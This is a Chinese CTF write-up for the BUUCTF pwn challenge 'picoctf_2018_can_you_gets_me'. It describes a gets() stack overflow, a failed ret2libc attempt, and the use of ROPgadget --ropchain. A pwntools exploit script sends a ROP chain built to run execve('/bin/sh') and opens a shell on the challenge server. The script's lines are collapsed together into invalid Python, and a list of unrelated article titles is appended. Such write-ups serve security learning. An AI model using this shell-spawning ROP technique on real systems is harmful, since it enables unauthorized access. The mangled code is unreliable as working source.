[BUUCTF-pwn]——picoctf_2018_can_you_gets_me

  • 题目地址:https://buuoj.cn/challenges#picoctf_2018_can_you_gets_me

通过这道题又学到了一个知识点。ROPgadget构造rop链

还是先checksec一下

在IDA中,查看一下。有gets栈溢出,又有puts函数。想当然的我们想到,通过puts函数,leek出一个got表地址,找到libc的栈基址,进而找到system函数和’/bin/sh’


尝试过后你会发现不可以,你想象不到这个puts是手写的,你双击就可以知道,或者你也可以看旁边的函数框

ROPgadget不仅仅可以帮助我们查找汇编指令的地址,它还可以帮助我们构造汇编指令

ROPgadget --binary PicoCTF_2018_can-you-gets-me  --ropchain


得到的构造好的系统调用获得shell的rop链, 我们只需要将其作为返回地址就可以了

exploit

from pwn import *
from struct import pack
p = remote('node3.buuoj.cn',28293)
# p = process("./PicoCTF_2018_can-you-gets-me")def payload():p = 'A' * (0x18 + 4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += b'/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += b'//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return pshellcode = payload()
p.send(shellcode)
p.interactive()

[BUUCTF-pwn]——picoctf_2018_can_you_gets_me相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. BUUCTF pwn wp 76 - 80

    cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 响应式网页的布局设计
  2. centos6.x安装mysql5.6及启动多实例
  3. 深度学习之图像处理---七级浮屠
  4. plsql(轻量版)_基本语法
  5. web安全测试-AppScan使用分享
  6. 使用纯索引子查询优化MySQL的分页查询速度
  7. 开源的WebKit 浏览器引擎受多个漏洞影响,可导致 RCE 后果
  8. 文秘计算机考核,行政文秘绩效考核
  9. 医疗知识图谱_寻医问药
  10. 用计算机算出别人多少岁,年龄计算器 年龄计算器查询
  11. 诺禾:和Java一样能用汉字编程的神奇语言
  12. 编程达人教你如何快速掌握一门编程语言
  13. 【笔记】Polygon mesh processing 读书笔记(1)
  14. K8S部署机器学习平台
  15. Oracle-PL/SQL-Developer-数据从服务器迁移至本地
  16. 安装pytorch3d最简单方法
  17. mysql中information_schema.columns字段说明
  18. 沈阳师范大学大二上数据结构第一章绪论(选择+单选+填空))
  19. android中监听的作用,Android里的AdapterView中OnItemClickListener监听器四个参数的含义...
  20. 怎样设置Win7共享

热门文章

  1. .Net线程问题解答
  2. 【数据结构与算法】之深入解析“用Rand7()实现Rand10()”的求解思路与算法示例
  3. 2017/Province_Java_B/4/魔方状态
  4. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1108:向量点积计算
  5. 2015年第六届蓝桥杯 - 省赛 - C/C++大学A组 - F. 牌型种数
  6. SQL开发技巧 join从句
  7. 【ARM】Tiny4412裸板编程之蜂鸣器
  8. 【Linux】一步一步学Linux——useradd命令(82)
  9. 中set无效是怎么回事_一起认识下,那些我们应该知道的mysql中的变量知识点
  10. linux安卓环境更新失败,Android SDK Manager国内无法更新的解决方案